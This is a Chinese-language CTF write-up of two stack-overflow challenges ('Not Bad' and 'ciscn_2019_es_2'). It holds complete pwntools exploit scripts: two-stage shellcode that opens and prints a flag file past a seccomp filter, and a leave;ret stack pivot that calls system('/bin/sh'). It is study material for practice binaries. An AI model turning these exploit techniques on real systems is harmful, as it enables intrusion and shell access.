1.[极客大挑战 2019]Not Bad 分析反编译代码及保护 Ubuntu 18 2.23libc也就是说理论上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 __int64 __fastcall main(int a1, char **a2, char **a3) { mmap((void *)0x123000 , 0x1000uLL, 6 , 34 , -1 , 0LL); sub_400949(); sub_400906(); sub_400A16(); return 0LL; } int sub_400A16(){ char buf[32 ]; // [rsp+0h] [rbp-20h] BYREF puts("Easy shellcode, have fun!" ); read(0 , buf, 0x38uLL); return puts("Baddd! Focu5 me! Baddd! Baddd!" ); }
void *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset); 开始分配了一段空间,不知道干啥用的
然后安装了seccomp,设置io流,读入0x38 = 56字节, 减去32 减去8rbp, 16个字节的溢出
1 2 3 4 5 6 7 8 9 root@VM-24 -10 -ubuntu:/home/ubuntu/stackpivot/jikenotbad [*] '/home/ubuntu/stackpivot/jikenotbad/bad' Arch: amd64-64 -little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x3ff000 ) RWX: Has RWX segments RUNPATH: b'/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/'
可以写shellcode, orw读取flag, 写的话,直接是写入到了一开始mmap的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 root@VM-24 -10 -ubuntu:/home/ubuntu/stackpivot/jikenotbad line CODE JT JF K ================================= 0000 : 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 00 10 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000 ) goto 0005 0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff ) goto 00 10 0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009 0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009 0007: 0x15 0x01 0x00 0x00000002 if (A == open ) goto 0009 0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 00 10 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 00 10: 0x06 0x00 0x00 0x00000000 return KILL
思路 需要分两次利用,因为无法直接把payload写入0x123000,所以先构造一个读取的payload,读入第二阶段payload后,再跳转过去
1.先利用第一次read读取第一阶段shellcode并跳转到这里进行执行,这串shellcode是读取第二阶段orw的shellcode到0x123000并跳转到那里
具体而言,第一阶段payload = asm(read_shellcode).ljust(32,b”\x00”) + p64(0) +p64(jmp_rsp)+asm(‘sub rsp,0x30;jmp rsp’)
jmp rsp相当于没干什么,只是跳到了下一条指令,但是如果没有这条指令,直接上汇编的话,识别不了,这里相当于给了一条指令的地址pop 出来的是指令的地址,jmp 过去的是可以直接执行的?
ret的话,是pop rip,在返回地址处放上一条指令的地址才对,所以这里放了jmp_rsp,pop rip后rsp指向了 asm(‘sub rsp,0x30;jmp rsp’),jmp到这里才可以把这里的数据当成指令,然后正好可以继续执行指令
大概..需要补汇编基础了…
2. 第一阶段的payload是读取第二阶段payload(orw)到0x123000,然后跳转过去
栈迁移 1 2 3 4 5 6 7 8 9 10 root@VM-24 -10 -ubuntu:/home/ubuntu/stackpivot/jikenotbad Gadgets information ============================================================ 0x000000000040078b : jmp 0x400770 0x00000000004008eb : jmp 0x400880 0x0000000000400b03 : jmp 0x400b7a 0x0000000000400b87 : jmp qword ptr [rax - 0x68000000 ]0x0000000000400ceb : jmp qword ptr [rbp]0x0000000000400865 : jmp rax0x0000000000400a01 : jmp rsp
这里用到了jmp 这个转移的办法
exp exp一定要加上架构,不然报错,因为要进行汇编
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import *import timesh = remote("node4.buuoj.cn" ,29945 ) context.log_level= "debug" context.terminal = ['tmux' , 'splitw' , '-h' ] context.arch= 'x86_64' vulnaddr = 0x0400A1E bssaddr = 0x006010Aa orw_shellcode = ''' mov rax,0x67616c662f push rax mov rdi,rsp xor rsi,rsi mov rax,0x2 syscall mov rdi,rax mov rsi,0x6010aa mov rdx,0x100 xor rax,rax syscall mov rdi,1 mov rsi,0x6010aa mov rdx,0x100 mov rax,1 syscall hlt ''' read_shellcode = ''' mov rdi,0 mov rsi,0x123000 mov rdx,0x1000 xor rax,rax syscall jmp rsi ''' jmp_rsp = 0x00000400a01 payload = asm(read_shellcode).ljust(32 ,b"\x00" ) + p64(0 ) + p64(jmp_rsp) + b'\xE8\xcb\xff\xff\xff' sh.sendafter(b'Easy shellcode, have fun!' ,payload) sh.sendafter(b'Baddd! Focu5 me! Baddd! Baddd!' ,asm(orw_shellcode)) sh.recv(1024 ) sh.interactive()
知识点总结 orw的shellcode编写
栈迁移 jmp rsp 、及jmp 转移指令的含义 #payload = asm(read_shellcode).ljust(32,b”\x00”) + p64(0) + p64(jmp_rsp)+asm(‘sub rsp,0x30;jmp rsp’)
近转移call的含义 payload = asm(read_shellcode).ljust(32,b”\x00”) + p64(0) + p64(jmp_rsp) + b’\xE8\xcb\xff\xff\xff’
e8是 call的操作码 #call 硬编码E8,后面加上四个字节的偏移(目标指令 - 下一条指令地址)
hex(0xffffffcb - 0xffffffff) = - 0x34
那7f不会影响它吗?
疑问 下断点断不下来,直接跳到后面read之后了
近转移call的含义
参考 https://blog.csdn.net/qq_34010404/article/details/123809796
https://blog.csdn.net/mcmuyanga/article/details/113389703
3.ciscn_2019_es_2 Ubuntu 18 2.27 32位
分析反编译代码及保护 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 [*] '/home/ubuntu/stackpivot/ciscn_2019_es_2/ciscn_2019_es_2' Arch: i386-32 -little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8046000 ) RUNPATH: b'/home/ubuntu/glibc-all-in-one/libs/2.27-3ubuntu1.6_i386/' int __cdecl main(int argc, const char **argv, const char **envp){ init(); puts("Welcome, my friend. What's your name?" ); vul(); return 0 ; } int vul(){ char s; // [esp+0h] [ebp-28h] memset(&s, 0 , 0x20u); read(0 , &s, 0x30u); printf("Hello, %s\\n" , &s); read(0 , &s, 0x30u); return printf("Hello, %s\\n" , &s); }
能看到存在明显的栈溢出,而且是两次,但是溢出的字节有限,只能覆盖个ebp和返回地址 ,栈的大小是0x28, 后面4字节ebp,4字节返回地址, 正好0x30,也就是读取输入的大小
利用00截断的bug,可以让printf一直输出,memset设置了0x20个0,给覆盖掉即可,这样的话,第一次输出就可以得到栈的地址,然后通过覆盖返回地址为leave;ret;(加上函数本身就有一次leave;ret;), 两次leave;ret;就把esp迁移到栈的缓冲区上,就可以执行第二次输入的payload了
找缓冲区位置 pwndbg> ni Hello, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbccc
输出的话,会从ecx(缓冲区开始的地方),一直往下输出,
所以0x28之后的就是ebp了,ebp和ecx的差了0x28个字节,所以ebp-0x28就是ecx
这种思路不对, 因为输出的是ebp这个地址存的值,而不是ebp本身的值 ,这个值,是ebp的地址加0x10
所以ecx的地址应当是接收到的ebp存储的值-0x28-0x10 所以就是ebp-0x38
栈迁移 可以把ebp伪造成ecx的地址, 然后返回地址leave;ret; (再加上本身函数就有一个leave;ret;) 这样两次就可以修改esp,改变程序控制流, 回去打system(”/bin/sh”)
system getshell system的话 用plt表的0x804A018 ,got表不行吗?
plt的顺序到底是啥…先plt还是先got, 还是说因为plt就是跳到got,所以直接引用got也可以
p32(system_addr) + p32(0) + p32(”/bin/sh”) 这个是错误的,为什么呢??? 为什么直接用值不行呢??
应该是payload = p32(callsystem)+p32(0)+p32(ecx_addr+12)+b”/bin/sh”
直接binsh字符串是不行的,需要一个指向这个字符串的地址,所以用的这个,记得后面要加\x00作为结束符号
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *sh = process("./ciscn_2019_es_2" ) context.log_level= "debug" context.terminal = ['tmux' , 'splitw' , '-h' ] payload = b"a" *0x20 + b"b" *8 sh.sendafter(b'name?' ,payload) sh.recvuntil(b"bbbbbbbb" ) ecx_addr = u32(sh.recv(4 )) - 0x38 callsystem = 0x8048400 leave_ret = 0x080484b8 payload = p32(callsystem) + p32(0 ) + p32(ecx_addr+12 )+b"/bin/sh\x00" payload = payload.ljust(0x28 ,b"a" ) payload += p32(ecx_addr-4 )+p32(leave_ret) sh.send(payload) sh.interactive()
做题思路及知识点 1.可以明确这题本身不能往bss写的,没有途径,只能往栈上写
2.本身栈里存的是0? 怎么知道 memset那里设置了
3.read结束之后不会在末尾加上’\x00’,而printf不遇到’\x00’就不会停止打印, 这个知识点怎么来的呢???? 前面的memset提示?? 或许可以是一个知识储备,这个好像是一个常用的点
4.假的后门函数,这个是echo 字符串flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 .text:0804854B hack proc near .text:0804854B ; __unwind { .text:0804854B push ebp .text:0804854C mov ebp, esp .text:0804854E sub esp, 8 .text:08048551 sub esp, 0Ch .text:08048554 push offset command ; "echo flag" .text:08048559 call _system .text:0804855E add esp, 10h .text:08048561 nop .text:08048562 leave .text:08048563 retn .text:08048563 ; } // starts at 804854B .text:08048563 hack endp
计算机基础不是很牢固…所以有些细节理解不到..
留下的疑问 system的话 用plt表的0x804A018 ,got表不行吗?
plt的顺序到底是啥…先plt还是先got, 还是说因为plt就是跳到got,所以直接引用got也可以
参考 https://blog.csdn.net/qq_34010404/article/details/123809796
https://blog.csdn.net/mcmuyanga/article/details/113389703
https://blog.csdn.net/qq_45691294/article/details/112196127
https://blog.csdn.net/qq_41696518/article/details/126665825
https://blog.csdn.net/qq_41202237/article/details/105913597
https://xz.aliyun.com/t/12189